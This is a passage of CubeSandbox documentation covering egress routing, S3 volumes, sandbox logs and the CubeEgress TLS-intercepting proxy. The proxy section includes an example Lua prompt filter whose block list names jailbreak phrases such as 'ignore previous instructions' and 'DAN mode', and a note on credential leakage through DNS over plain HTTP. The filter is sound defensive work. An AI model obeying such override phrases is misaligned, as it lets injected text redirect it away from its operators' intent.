"${REMOTE_EGRESS_NIC}" -j MASQUERADE ``` On the Cube node: ```bash #!/usr/bin/env bash set -euo pipefail CUBE_UNDERLAY_IP="203.0.113.10" REMOTE_UNDERLAY_IP="198.51.100.20" UNDERLAY_NIC="eth0" UNDERLAY_GW="203.0.113.1" TUNNEL_NAME="natgre" CUBE_TUNNEL_CIDR="169.254.100.1/30" SSH_CLIENT_IP="" modprobe ip_gre ip tunnel del "${TUNNEL_NAME}" 2>/dev/null || true ip tunnel add "${TUNNEL_NAME}" mode gre local "${CUBE_UNDERLAY_IP}" remote "${REMOTE_UNDERLAY_IP}" ttl 255 ip addr replace "${CUBE_TUNNEL_CIDR}" dev "${TUNNEL_NAME}" ip link set "${TUNNEL_NAME}" up mtu 1476 # Keep the GRE underlay path on the physical NIC. This avoids recursive routing # after the default route is switched to the GRE tunnel. ip route replace "${REMOTE_UNDERLAY_IP}/32" via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" # Keep private-address traffic on the physical NIC instead of the GRE internet # gateway. Adjust these routes if your internal network uses a different layout. ip route replace 10.0.0.0/8 via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" ip route replace 172.16.0.0/12 via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" ip route replace 192.168.0.0/16 via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" # Optional but recommended when operating over SSH. Set this to your SSH client # public/source IP to avoid losing the remote session. if [[ -n "${SSH_CLIENT_IP}" ]]; then ip route replace "${SSH_CLIENT_IP}/32" via "${UNDERLAY_GW}" dev "${UNDERLAY_NIC}" src "${CUBE_UNDERLAY_IP}" fi # Send the default route through the GRE remote gateway. ip route replace default dev "${TUNNEL_NAME}" ``` Expected host route excerpt: ```bash default dev natgre scope link 10.0.0.0/8 via 203.0.113.1 dev eth0 src 203.0.113.10 172.16.0.0/12 via 203.0.113.1 dev eth0 src 203.0.113.10 192.168.0.0/16 via 203.0.113.1 dev eth0 src 203.0.113.10 198.51.100.20 via 203.0.113.1 dev eth0 src 203.0.113.10 169.254.100.0/30 dev natgre proto kernel scope link src 169.254.100.1 ``` Verify on the Cube node: ```bash ip addr show natgre ip route get 1.1.1.1 ip route get 10.1.2.3 tcpdump -ni cube-router 'host 1.1.1.1 or host 169.254.100.2' tcpdump -ni natgre 'host 1.1.1.1 or host 169.254.100.2' tcpdump -ni eth0 'proto gre or host 198.51.100.20 or net 10.0.0.0/8' ``` Then create a sandbox whose `allow_out` includes the tunnel endpoint, the internet target, and any private target you want to test, for example `169.254.100.2/32`, `1.1.1.1/32`, and `10.1.2.3/32`. Internet traffic should appear on `cube-router`, leave through `natgre`, and be NATed again by the GRE remote node before reaching the internet. Private-address traffic should appear on `cube-router` and then leave through the physical NIC. ## Example 2: Dual NIC, One For Internet And One For Internal Network This example keeps the node default route on one NIC for internet access, and routes private-address traffic through another physical NIC. Sandbox traffic follows the same host routing decision after it enters `cube-router`. Example topology: | Role | Example value | | --- | --- | | Internet NIC | `eth0`, `10.206.0.4` | | Internet gateway | `10.206.0.1` | | Internal NIC | `eth1`, `10.206.0.15` | | Internal gateway | `10.206.0.1` | | Internet target | `1.1.1.1` | | Internal target | `10.50.0.12` | Configure the host routes on the Cube node: ```bash # Internet traffic uses eth0 by default. ip route replace default via 10.206.0.1 dev eth0 src 10.206.0.4 # Private-address traffic uses eth1. ip route replace 10.0.0.0/8 via 10.206.0.1 dev eth1 src 10.206.0.15 ip route replace 172.16.0.0/12 via 10.206.0.1 dev eth1 src 10.206.0.15 ip route replace 192.168.0.0/16 via 10.206.0.1 dev eth1 src 10.206.0.15 ``` Expected host route excerpt: ```bash default via 10.206.0.1 dev eth0 src 10.206.0.4 10.0.0.0/8 via 10.206.0.1 dev eth1 src 10.206.0.15 172.16.0.0/12 via 10.206.0.1 dev eth1 src 10.206.0.15 192.168.0.0/16 via 10.206.0.1 dev eth1 src 10.206.0.15 ``` Check the host routing result before testing the sandbox: ```bash ip route get 1.1.1.1 ip route get 10.50.0.12 ``` The first command should select `eth0`; the second should select `eth1`. Create a sandbox whose `allow_out` includes both targets, for example `1.1.1.1/32` and `10.50.0.12/32`, then test from inside the sandbox: ```bash ping -c 4 1.1.1.1 ping -c 4 10.50.0.12 ``` Verify on the Cube node: ```bash tcpdump -ni cube-router 'host 1.1.1.1 or host 10.50.0.12' tcpdump -ni eth0 'host 1.1.1.1 or host 10.50.0.12' tcpdump -ni eth1 'host 1.1.1.1 or host 10.50.0.12' ``` Expected result: * Traffic to `1.1.1.1` appears on `cube-router` and then `eth0`. * Traffic to `10.50.0.12` appears on `cube-router` and then `eth1`. * The final source IP on each physical NIC is the IP of that NIC after MASQUERADE. --- --- url: https://cubesandbox.com/guide/s3-volume.md --- # S3 Volumes Give a sandbox storage that **survives its lifecycle**: create a Volume → mount it in a sandbox → read/write → destroy the sandbox, the data stays → remount it next time. The backend is any S3-compatible object store (AWS S3, Tencent Cloud COS, Cloudflare R2, MinIO, …), and the default CubeSandbox install ships a bundled MinIO as that backend. > **The default install (one-click / Helm defaults) is already set up.** The installer starts a MinIO and wires the S3 Volume plugin, credentials, and CubeMaster/Cubelet config for you. **You don't need to edit `volume-s3.conf` or install the plugin** — jump straight to [Usage](#usage). > > Only if you want to point the backend at **external S3** (AWS S3, Tencent Cloud COS, R2, a self-hosted MinIO, …) do you need [Connecting external S3](#connecting-external-s3). *** ## What it gives you | Capability | Notes | |------------|-------| | Survives sandbox teardown | Volume data stays after the sandbox is killed; remount it next time | | Shared across sandboxes | One Volume can be mounted by several sandboxes at once | | Read-only mounts | Each mount can be independently read-only — ideal for sharing models/datasets | | Any S3-compatible backend | Bundled MinIO by default; swap to AWS S3, Tencent Cloud COS, Cloudflare R2, … | | Credentials stay on the host | Secrets live only on CubeMaster/Cubelet; the sandbox sees just a filesystem | *** ## Usage ### 1. Install the SDK ```bash pip install 'cubesandbox>=0.6.0' ``` ::: warning Use cubesandbox, not the official e2b SDK The official e2b Python SDK hardcodes requests to the e2b.cloud backend and **cannot target CubeSandbox**. Use `cubesandbox`. ::: ### 2. Set environment variables On a dev machine that can reach CubeAPI: ```bash export CUBE_API_URL=http://<cubeapi-host>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # Required for remote sandbox I/O on mounted volumes (data plane via CubeProxy) export CUBE_PROXY_NODE_IP=<cubeproxy-or-cubelet-node-ip> # When cluster auth is enabled: # export CUBE_API_KEY=<your-key> ``` ### 3. Create a Volume and mount it ```python from cubesandbox import Sandbox, Volume vol = Volume.create("my-data", driver="s3") # in the default install, omitting driver also uses S3 print("volume_id:", vol.volume_id) with Sandbox.create(volume_mounts={"/workspace": vol}) as sb: sb.files.write("/workspace/hello.txt", "from S3 volume") print(sb.files.read("/workspace/hello.txt")) # → from S3 volume # The sandbox is gone but the data stays; remount it next time, the file is still there with Sandbox.create(volume_mounts={"/workspace": vol}) as sb: print(sb.files.read("/workspace/hello.txt")) # Actually delete the Volume (backend data wiped — irreversible) Volume.destroy(vol.volume_id) ``` * `volume_mounts` is a `{in-sandbox path: Volume}` mapping; mount several at once. * Destroying a sandbox does **not** delete Volume data; only `Volume.destroy()` wipes it. ### Read-only mount / sharing across sandboxes ```python from cubesandbox import VolumeMount vol = Volume.create("shared-dataset", driver="s3") with Sandbox.create(volume_mounts={"/data": VolumeMount(vol, read_only=True)}) as sb: sb.files.read("/data/model.bin") ``` ### Use with cross-node snapshots An S3 Volume can be reattached when a sandbox is restored on another node because its data lives in shared object storage. This is separate from the VM snapshot backend: * Build the sandbox template with `--backend s3` and wait for the snapshot's `remote_status` to become `ready`. * Configure the same `s3` Volume driver, `CUBE_S3_*` connection, and `s3fs` dependency on every eligible Cubelet node. * FromSnap restores VM/rootfs state from the VM snapshot package, then attaches the existing Volume ID. Volume data is not rewound; the restored sandbox sees the Volume's current contents. * If the Volume was deleted, the target driver is missing, or S3 attach fails, sandbox creation fails before the VM starts. See [Cross-Node Snapshots](./cross-node-snapshot.md) for VM compatibility and placement requirements. *** ## Connecting external S3 The default install uses bundled MinIO. To switch to external S3 (AWS S3, Tencent Cloud COS, R2, a self-hosted MinIO, …), change the "source" for your deploy method — the installer generates `volume-s3.conf` for you, so **do not edit that file by hand** (it gets rewritten). ### one-click deploy In `.one-click.env` (or `env.example`), turn off the bundled MinIO and fill in `CUBE_S3_*`, then re-run `install.sh` — it writes `volume-s3.conf`: ```bash CUBE_SANDBOX_MINIO_ENABLED=0 CUBE_S3_ENDPOINT=https://s3.example.com CUBE_S3_ACCESS_KEY_ID=... CUBE_S3_SECRET_ACCESS_KEY=... CUBE_S3_BUCKET=cube-volumes # CUBE_S3_REGION=us-east-1 # CUBE_S3_S3FS_EXTRA_OPTS=-ouse_path_request_style ``` Compute nodes don't run MinIO; copy the `CUBE_S3_*` backfilled on the control node: ```bash # Run on the control node; paste the output into the compute node's .env grep '^CUBE_S3_' /usr/local/services/cubetoolbox/.one-click.env ``` If missing, the installer warns and continues; the S3 volume plugin stays unavailable. See [one-click README · Bundled MinIO vs the S3 volume plugin](https://github.com/TencentCloud/CubeSandbox/blob/master/deploy/one-click/README.md#bundled-minio-vs-the-s3-volume-plugin). ### Helm deploy In values, turn off chart MinIO and fill in `volumeS3.*` (or point `volumeS3.existingSecret` at an existing Secret); after `helm upgrade` the chart renders the `volume-s3.conf` Secret: ```yaml minio: enabled: false volumeS3: endpoint: https://s3.example.com accessKeyId: ... secretAccessKey: ... bucket: cube-volumes # region: us-east-1 # extraOpts: -ouse_path_request_style ``` See the `volumeS3` section of the chart `values.yaml`. ### Manual deploy from scratch (not one-click / not Helm) For manually deploying the plugin and hand-writing `volume-s3.conf`, see [`examples/volume/s3/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/s3/README.md); for a Tencent Cloud COS walkthrough (bucket, access keys) — using the dedicated `cos` driver plugin, not this one — see [`examples/volume/cos/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.md). ### Common backends | Provider | `ENDPOINT` | `REGION` | |----------|-----------|----------| | AWS S3 | `https://s3.<region>.amazonaws.com` | the bucket's region | | Tencent Cloud COS | `https://cos.<region>.myqcloud.com` | the bucket's region (e.g. `ap-guangzhou`) | | Cloudflare R2 | `https://<account-id>.r2.cloudflarestorage.com` | `auto` | | MinIO | `http://<minio-host>:9000` | any value | *** ## FAQ ### How is S3 Volume different from Host Mount? [Host Mount](./persistent-storage.md) bind-mounts a **pre-existing directory on the node** into a sandbox — node-local, great for sharing data that already lives there. S3 Volume is a **user-scoped persistent volume** (e2b Volume API): created/destroyed on demand by the plugin, managed across sandbox lifecycles, backed by object storage. They complement each other: Host Mount for "a directory already on the node", S3 Volume for "one independent persistent volume per user/task". ### What happens if I omit `driver`? Why does it default to S3? When `Volume.create(...)` omits `driver`, CubeMaster picks the **first** entry in the `volume_plugins` list. The default install now lists `s3` first, so omitting `driver` routes to S3. Writing `driver="s3"` explicitly is still recommended — it's clearer in multi-backend clusters and avoids behavior silently changing if someone reorders `cos` ahead of `s3`. ### Does data survive sandbox teardown? What's the Volume lifecycle? Yes. Mount/unmount is driven by a **reference count** — you don't manage mount points yourself: | Operation | Behavior | |-----------|----------| | `Volume.create` | Creates a `volumes/<id>/` prefix in the backend | | Sandbox mount (refCount 0→1) | Cubelet mounts the prefix with s3fs on the host, exposes it to the microVM | | Sandbox mount (refCount >0) | Reuses the existing mount, no second mount | | Sandbox teardown (refCount >1) | Decrements only, no unmount | | Sandbox teardown (refCount →0) | `fusermount -u` unmounts; **backend data is retained** | | `Volume.destroy` | Deletes the whole `volumes/<id>/` prefix — irreversible | ### What happens when I delete a Volume? Why do I sometimes get a 409? `Volume.destroy` wipes the whole `volumes/<id>/` prefix in the backend — **irreversible**. While any sandbox still holds the Volume, the API rejects the call with 409 — destroy those sandboxes first. Note that a stale refcount after a node crash can let the cluster-wide count reach 0 while a node still holds the mount; confirm before deleting. ### Does the bucket have to exist already? No. Create runs `head-bucket` first; it auto-creates the bucket if missing and reuses an existing one — no `s3:CreateBucket` permission needed when the bucket already exists. *** ## Troubleshooting | Symptom | Check | |---------|-------| | `unknown driver: s3` | CubeMaster `volume_plugins` has no `s3` entry, or not restarted | | `no plugin registered for driver "s3"` | Cubelet has no same-name plugin, or not restarted | | Attach fails `s3fs mount failed` | `ls /dev/fuse` on the host; credentials/`ENDPOINT` correct | | `InvalidAccessKeyId` / `SignatureDoesNotMatch` | Wrong key, missing bucket permission, or `REGION` doesn't match the endpoint's SigV4 region | | Bucket name has dots | s3fs uses virtual-hosted-style addressing by default, which breaks TLS for dotted names. Use a dot-free name, or set `S3FS_EXTRA_OPTS=-ouse_path_request_style` in the conf (MinIO usually needs it too) | | SDK write fails | `CUBE_PROXY_NODE_IP` unset; or CubeAPI/template not ready | | `Volume.create` not using s3 | Omitting `driver` picks the **first** `volume_plugins` entry — in the default install that's `s3`. If your cluster reordered `cos` ahead of `s3`, write `driver="s3"` explicitly | More: [Volume Plugin Development](./volume-plugin.md), [S3 plugin full walkthrough](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/s3/README.md). --- --- url: https://cubesandbox.com/guide/sandbox-logs.md --- # Sandbox Logs ::: warning Work in progress Log retrieval is still being actively iterated. The `cubecli logs` command described here is a **temporary solution** — the interface and underlying storage layout may change in future releases. ::: CubeSandbox exposes two complementary logging layers: | Layer | What it captures | How to access | |---|---|---| | **Sandbox log** | stdout/stderr of the container init process (the main entrypoint) | `cubecli logs` (this page) | | **`envd` task log** | stdout/stderr of individual `exec` sub-tasks spawned inside the sandbox | E2B SDK (`on_stdout` / `on_stderr` callbacks) | This page covers the **sandbox-level log** only. For `envd` sub-task logs, refer to the [E2B SDK documentation](https://e2b.dev/docs). ## Prerequisites `cubecli` is built alongside Cubelet and installed as part of the standard one-click deployment. The `logs` sub-command accesses log files that live inside the **Cubelet mount namespace**, so it must be run **directly on the compute node** — it cannot be executed remotely via the API or from a non-node host. ## Reading sandbox logs ```bash # Last 100 lines of stdout (default) cubecli logs <sandbox-id> # Last 100 lines of stderr cubecli logs --stderr <sandbox-id> # Full log (all lines) cubecli logs --all <sandbox-id> # Last N lines cubecli logs --tail 50 <sandbox-id> # Short form cubecli logs -t 50 <sandbox-id> # First N lines cubecli logs --head 20 <sandbox-id> # Short form cubecli logs -H 20 <sandbox-id> ``` ### Flag reference | Flag | Short | Description | |---|---|---| | `--stderr` | `-e` | Read stderr instead of stdout | | `--all` | `-a` | Print all lines; cannot be combined with `--tail` or `--head` | | `--tail N` | `-t N` | Print the last N lines (default: 100 when no other flag is set) | | `--head N` | `-H N` | Print the first N lines | ## Reading template build logs During template construction the container's stdout/stderr are saved to the host filesystem under `/data/log/template/<templateID>_0/`. These files do **not** require entering the Cubelet mount namespace, so `--tpl` skips the namespace re-exec: ```bash # Last 100 lines of template build stdout cubecli logs --tpl <template-id> # Full build stderr cubecli logs --tpl --all --stderr <template-id> ``` ## Where the log files live | Context | Path | |---|---| | Sandbox stdout | `/data/cubelet/state/io.containerd.runtime.v2.task/default/<sandbox-id>/stdout` (inside Cubelet mount namespace) | | Sandbox stderr | `/data/cubelet/state/io.containerd.runtime.v2.task/default/<sandbox-id>/stderr` (inside Cubelet mount namespace) | | Template stdout | `/data/log/template/<template-id>_0/stdout` (host filesystem) | | Template stderr | `/data/log/template/<template-id>_0/stderr` (host filesystem) | ::: tip Why the mount namespace? Sandbox log files are written by CubeShim into the bundle directory which is only visible inside Cubelet's private mount namespace. `cubecli logs` automatically re-execs itself into that namespace before reading — you do not need to do anything special beyond running the command on the node. ::: ## Scope and limitations * These logs capture only the **init process** (PID 1 inside the container). Output from processes spawned via `exec` calls is captured through the E2B SDK's `on_stdout` / `on_stderr` callbacks — refer to the [E2B SDK documentation](https://e2b.dev/docs) for details. * Log forwarding must be enabled on the running CubeShim version (available since v0.4.0). On older deployments the log file will be missing. * Logs are not streamed in real time — there is no `--follow` flag yet. Re-run the command to see new output. * Log files are removed when the sandbox is deleted. ## Related * [Service Management & Logs](./service-management.md) — host-side service logs, journalctl, and the diagnostic bundle * [Template Inspection & Request Preview](./template-inspection-and-preview.md) --- --- url: https://cubesandbox.com/guide/security-proxy.md --- # Security Proxy Cube Sandbox includes a per-host transparent egress proxy — **CubeEgress** — that intercepts every outbound HTTP/HTTPS request a sandbox makes, matches it against operator-supplied L7 rules, and either lets it through, denies it, or rewrites it on the fly. The data plane lives between the sandbox's TAP device and the public internet; the sandbox itself can't bypass it without leaving the host. The proxy gives you three primary controls, all driven by the same rule list attached at sandbox-creation time: * **Domain filtering** — allow/deny outbound requests by SNI, host, HTTP method, scheme, or exact path. * **Credential injection** — append static headers (typically `Authorization: Bearer …`) so the workload never sees the raw secret. * **Access auditing** — every decision (allow / deny / inject / TLS handshake outcome) is written to a per-host JSONL audit log. Upstream `proxy_read_timeout` / `proxy_send_timeout` are 2h (same order as CubeProxy). `proxy_connect_timeout` stays 10s. ## How it intercepts CubeEgress runs as a host-network container and binds two TPROXY listeners on the sandbox-facing IP — an HTTP listener on 8080 and an HTTPS listener on 8443. Which traffic reaches each listener is decided per-rule by the port/scheme mapping (see [Custom L7 ports](#custom-l7-ports)), not by a fixed destination port: ``` sandbox ──→ cube-dev (host iface) │ ├─ eBPF (mvmtap) resolves the outbound (host, port) to │ a scheme via allow_out_v3 and stamps an skb->mark │ (HTTP or HTTPS) on the SYN │ ├─ iptables mangle/PREROUTING -m mark -j TPROXY │ HTTP mark → 192.168.0.1:8080 (HTTP listener) │ HTTPS mark → 192.168.0.1:8443 (HTTPS listener) │ ▼ CubeEgress (OpenResty + lua) │ ├─ ssl_certificate_by_lua → mint a leaf cert for the │ requested SNI, signed by │ the CubeEgress root CA │ (baked into the template │ at build time) │ ├─ access_by_lua → match L7 rules; allow / deny / inject │ └─ proxy_pass → original destination IP (preserved via IP_TRANSPARENT) ``` Because the leaf cert's chain validates against the CubeEgress root CA already trusted by the sandbox's system store, the workload's TLS client doesn't notice the MITM and the proxy can read and rewrite request/response data legitimately. ## Domain filtering Each rule has a `match` object listing the conditions it applies to, and an `action` saying what to do when the conditions all match. First-match-wins; anything that matches no rule is denied by default. ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ # Block the apex by exact host match. Rule( name="deny_example_apex", match=Match(scheme="https", host="example.com"), action=Action(allow=False), ), # Allow any subdomain via the *.<domain> SNI form. Rule( name="allow_example_subdomains", match=Match(scheme="https", sni="*.example.com"), action=Action(allow=True), ), ] with Sandbox.create(network={"rules": rules}) as sb: sb.commands.run("curl -s https://www.example.com") # → upstream sb.commands.run("curl -s https://example.com") # → 403 from CubeEgress ``` Match fields (all optional, AND'd together): | Field | Type | Notes | | --- | --- | --- | | `scheme` | `"http"` / `"https"` | Case-insensitive. See [Custom L7 ports](#custom-l7-ports) for how `scheme` interacts with `port`. | | `port` | int | Destination TCP port to intercept, `1`–`65535`. Must be paired with `scheme`; see [Custom L7 ports](#custom-l7-ports). | | `sni` | string | TLS ClientHello SNI; supports leading `*.` for "any subdomain" — `*.example.com` matches `www.example.com` and `foo.bar.example.com`, but not the apex | | `host` | string | Match against the HTTP `Host:` header (port stripped); same semantics as `sni` — exact match, or leading `*.` for "any subdomain" (case-insensitive) | | `method` | list of methods | OR within the list (`["GET", "POST"]`) | | `path` | string | Match against `ngx.var.uri`; exact match by default, or a single trailing `*` for prefix match (e.g. `/v1/*` matches `/v1/chat` and `/v1/embeddings`) | A request must match every present field; absent fields are wildcarded. ### Custom L7 ports By default a rule intercepts the classic `{80/http, 443/https}` set. The optional `port` + `scheme` pair narrows or extends which TCP port gets steered through the proxy: | `port` | `scheme` | Intercepts | | --- | --- | --- | | omitted | omitted | `{80/http, 443/https}` — the default set (backward compatible) | | omitted | `"http"` / `"https"` | only that scheme on its default port (`http` → 80, `https` → 443) | | set | set | exactly that `(host, port, scheme)` tuple — e.g. an API on `tcp/8443` | | set | omitted | invalid — `port` requires `scheme` | ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ # Intercept an internal API on a non-standard HTTPS port. Rule( name="internal_api", match=Match(host="api.internal.example", port=8443, scheme="https"), action=Action(allow=True), ), # Intercept plain HTTP on a custom port. Rule( name="custom_http", match=Match(host="metrics.internal.example", port=18080, scheme="http"), action=Action(allow=True), ), # scheme alone keeps the classic port but only matches one side. Rule( name="https_only", match=Match(host="public.example", scheme="https"), action=Action(allow=True), ), ] with Sandbox.create(network={"rules": rules}) as sb: sb.commands.run("curl -s https://api.internal.example:8443/health") sb.commands.run("curl -s http://metrics.internal.example:18080/") sb.commands.run("curl -s https://public.example/") # → proxied ``` Constraints (enforced by the SDK client and re-checked server-side): * `port` must be in `[1, 65535]`; `scheme` must be `http` or `https` (case-insensitive). * An L7 host must be a domain name or a single IP — subnet CIDRs are rejected (a subnet can't appear in an HTTP `Host:` header or TLS SNI). * Every rule sharing the same `(host, port)` must agree on `scheme`; a conflicting policy is rejected outright. * At most 8 distinct `(port, scheme)` tuples per host. Traffic to a port no rule covers still falls back to the L3/L4 `allow_out` / `deny_out` policy and never reaches CubeEgress. An omitted `port` means different things for allow and deny rules. An **allow** rule without `port` narrows to the default set `{80/http, 443/https}` — fail-closed, so a custom-port flow is only proxied when a rule names that port. A **deny** rule without `port` is port-agnostic within the host — it matches every intercepted flow to the host regardless of port. This keeps a broad host deny from being bypassed by a narrower custom-port allow: with `deny host="*.example.com"` and `allow host="api.example.com", port=8443, scheme="https"`, the deny still matches `api.example.com:8443`, so the outcome is decided by rule order (first match wins). List the more specific allow rule first to grant the exception. The same domain may appear in both the L3/L4 `allow_out` list and an L7 `rule`. In that case the two coexist: the domain's learned IPs get a plain `/32` any-port allow entry (so non-rule ports keep ordinary L3/L4 SNAT access) **and** an L7 `(ip, port)` entry per rule port (so those ports are steered through CubeEgress). The more specific `(ip, port)` match wins for the rule's ports; the `/32` covers the rest. Put another way, adding an L7 rule for a domain already in `allow_out` does **not** remove its plain L3 access — it only adds L7 interception on the rule's ports. ::: tip Single-level vs multi-level subdomain `*.example.com` matches **all** subdomains regardless of label depth. To allow only single-level subdomains (e.g. `www`, `api`) you have to add explicit `host="…"` deny rules for the nested cases you don't want. ::: A deny action returns HTTP 403 from CubeEgress without ever contacting the upstream — the sandbox sees the rejection immediately, no DNS leak, no TCP handshake. ## Credential injection Inject rules attach static headers to outbound requests after the match succeeds. The classic case is auth-token injection: ```python from cubesandbox import Sandbox, Rule, Match, Action, Inject rules = [ Rule( name="deepseek_api", match=Match(scheme="https", host="api.deepseek.com", method=["POST"], path="/v1/chat", sni="api.deepseek.com"), action=Action( allow=True, audit="metadata", inject=[Inject( header="Authorization", format="Bearer ${SECRET}", secret="sk_xxxxxxxx", # operator-side, never seen by the sandbox )], ), ), ] ``` Behavior: * The workload calls the API **without** any `Authorization` header. CubeEgress sees the bare request, evaluates the inject list after the match, and adds `Authorization: Bearer sk_xxxxxxxx` before forwarding. * `format` defaults to `"${SECRET}"` (the raw secret as the whole header value); use `"Bearer ${SECRET}"` or any other template containing the `${SECRET}` placeholder for non-bearer schemes. * Inject only fires when `action.allow=true`. A deny rule with `inject=[…]` is a configuration error — the inject is dropped. The point of the inject path is that the secret stays on the operator side: it lives in the rule list, gets pushed to CubeEgress at sandbox creation, and is never exposed to the sandbox's environment, filesystem, or process space. ### Security notes HTTP credential injection is risky. Use it only on a controlled private network. Unless you have no other option, use HTTPS. Plain HTTP cannot authenticate the peer. After a `Host` match, the injected credential is forwarded to whatever destination IP the name resolved to. A typical scenario: the sandbox is created with `allow_internet_access=true`, and `example.com` has a credential-inject rule. An attacker who controls the DNS used to resolve that name can point `example.com` at an IP they own. The next matching HTTP request then carries the injected credential to the attacker's server. This is not a CubeSandbox defect — plaintext HTTP has no way to verify the peer. ::: warning Prefer HTTPS Write inject rules with `scheme="https"`. Only use `scheme="http"` when the upstream lives on a network you fully control. Omitting `scheme` matches both HTTP and HTTPS, so the HTTP side injects the credential as well. ::: ## Access auditing Every request goes through one of three audit levels, controlled per rule via `action.audit`: | Level | What gets logged | | --- | --- | | `none` | Nothing | | `metadata` (default) | timestamp, sandbox IP, dst IP/port, scheme, host, method, path, status, request/response sizes, latency, TLS version + cipher, upstream addr | | `full` | Reserved — same as `metadata` today; full request/response body capture is planned | Logs are JSONL on the host at `/data/log/cube-egress/access.jsonl`, one line per request: ```json { "ts": "2026-05-29T11:24:01+08:00", "sandbox_ip": "192.168.1.154", "dst_ip": "104.16.132.229", "dst_port": 443, "scheme": "https", "host": "api.deepseek.com", "method": "POST", "path": "/v1/chat", "status": 200, "bytes_in": 412, "bytes_out": 1856, "latency_ms": 384, "tls_version": "TLSv1.3", "cipher": "TLS_AES_128_GCM_SHA256", "upstream_status": "200", "upstream_addr": "104.16.132.229:443" } ``` Two extra event types land in the same file with their own shape: * **`security_event`** — for default-deny rejections, malformed rule short-circuits, host/SNI mismatches, and inject-fired events. Carries the rule name plus a `reason` field describing which guard fired. * **`tls_handshake`** — emitted when the handshake itself fails (cert signing failed, client closed the connection mid-handshake, etc.) before any HTTP message exists. Lets you distinguish "TLS never completed" from "request was rejected post-decrypt". ::: warning Secrets are redacted Inject `secret` values are scrubbed from any log path before write. The audit log records only the rule name and the fact that inject ran; the secret itself never leaves the lua VM in clear. ::: ## When the proxy isn't in the path A few edge cases skip CubeEgress entirely; they're worth knowing about: * **Internal `cube-dev` traffic** — sandbox-to-sandbox traffic and traffic to in-cluster services (Cube API, etc.) doesn't enter the TPROXY chain, so rules don't apply. * **TCP/UDP not covered by an L7 rule** — the TPROXY chain only redirects traffic an L7 rule marked: the default `{80/http, 443/https}` set plus any custom `(port, scheme)` a rule declares. Direct TCP to ports no rule covers still goes out subject to the L3/L4 `allow_out` / `deny_out` policy on the CubeNet data plane, but is invisible to CubeEgress. * **Sandboxes built from templates without the CA bake** — if the template was created with `--with-cube-ca=false`, the sandbox's TLS clients don't trust CubeEgress's leaf certs and HTTPS calls fail with self-signed-cert errors before any rule is consulted. For host-level deployment of the proxy itself (systemd units, CA bootstrap, the iptables one-shot service), see the [`deploy/one-click`](https://github.com/tencentcloud/CubeSandbox/tree/master/deploy/one-click) sources — those wire CubeEgress into both the control and compute targets automatically. ## Extending the proxy The match/inject grammar above is intentionally narrow — it covers the 80% case (allow this host, deny that one, attach a token) with operator-level configuration only. When you need behavior the declarative rules can't express — content inspection, cross-request state, calls to an external classifier — CubeEgress is a regular OpenResty server and you can drop in your own lua to extend it. ### Where the lua lives The data plane is split into one file per phase under `CubeEgress/lua/`: | File | Phase | What it does | | --- | --- | --- | | `cert_signer.lua` | `ssl_certificate_by_lua` | Mints leaf certs for the SNI seen on the wire | | `bootstrap.lua` | `init_worker_by_lua` (worker 0 only) | Pulls initial policies from Cubelet embedded network runtime | | `access_phase.lua` | `access_by_lua` | Runs match → action → inject for every request | | `policy.lua` | (module) | In-memory policy store, fed by `admin.lua` and `bootstrap.lua` | | `admin.lua` | `content_by_lua` on `:9091` (default; `CUBE_EGRESS_ADMIN_PORT`) | CRUD admin API for policies | | `audit.lua` | `log_by_lua` | Writes the JSONL audit line per request | | `redactor.lua` | (helper) | Scrubs secrets from anything user-visible | `nginx.conf` reaches each of these via `require("…")` from the phase block; e.g. the `access_by_lua_block` for both the HTTP and HTTPS server blocks calls `require("access_phase").decide()`. `lua_package_path` is set to `/usr/local/openresty/nginx/lua/?.lua`, so any new file dropped into that directory becomes loadable with `require("name")` once nginx reloads. ### Adding a new phase hook The simplest extension shape is a new module that you `require` from a new phase block in `nginx.conf`. Example: a prompt-content filter that intercepts request bodies sent to LLM endpoints, inspects the prompt, and rejects or rewrites it. **1) Drop a new lua module under `CubeEgress/lua/`:** ```lua -- lua/prompt_filter.lua -- Phase 2 (after access_by_lua decides allow): inspect the JSON -- body of POST requests to LLM upstreams, reject ones containing -- forbidden patterns, optionally rewrite those that look risky. local cjson = require("cjson.safe") local _M = {} -- Cheap heuristic; replace with whatever your security team needs. -- A real deployment would call out to a classifier service via -- lua-resty-http (already shipped in the openresty-tproxy base -- image), or load a regex set from policy. local FORBIDDEN_PATTERNS = { "ignore previous instructions", "system prompt", "DAN mode", } local function is_target_endpoint(host, path) -- Apply the filter only to known LLM chat endpoints. Add hosts -- here, or read this list from a lua_shared_dict that the admin -- API can poke at runtime. return host == "api.deepseek.com" and path == "/v1/chat/completions" end function _M.inspect() local host = ngx.var.cube_audit_host or ngx.var.http_host local path = ngx.var.uri if not is_target_endpoint(host, path) then return end -- Body capture: explicitly read it; nginx doesn't buffer POST -- bodies into Lua-readable form by default. The -- proxy_request_buffering=on already in nginx.conf means we -- can read here and the buffered copy still goes upstream. ngx.req.read_body() local body = ngx.req.get_body_data() or "" local payload, err = cjson.decode(body) if not payload or err then return -- non-JSON, leave it alone end -- Walk the OpenAI-shape messages array. for _, msg in ipairs(payload.messages or {}) do local content = (msg or {}).content or "" for _, pat in ipairs(FORBIDDEN_PATTERNS) do if string.find(string.lower(content), pat, 1, true) then ngx.log(ngx.WARN, "prompt filter rejected: pattern=", pat, " sandbox=", ngx.var.remote_addr) -- Reuse the audit module so this rejection lands in -- access.jsonl alongside ordinary deny events. local audit = require("audit") pcall(audit.write_security_event, "prompt_filter:" .. pat, ngx.ctx.cube_decision) return ngx.exit(ngx.HTTP_FORBIDDEN) end end end end return _M ``` **2) Wire it into `nginx.conf`:** The existing HTTPS server block already runs `access_by_lua_block { require("access_phase").decide() }` for the match/inject decision. Hang the new module off the same block so it fires only after the rule said "allow": ```nginx server { listen 192.168.0.1:8443 ssl transparent reuseport; # ... location / { access_by_lua_block { require("access_phase").decide() 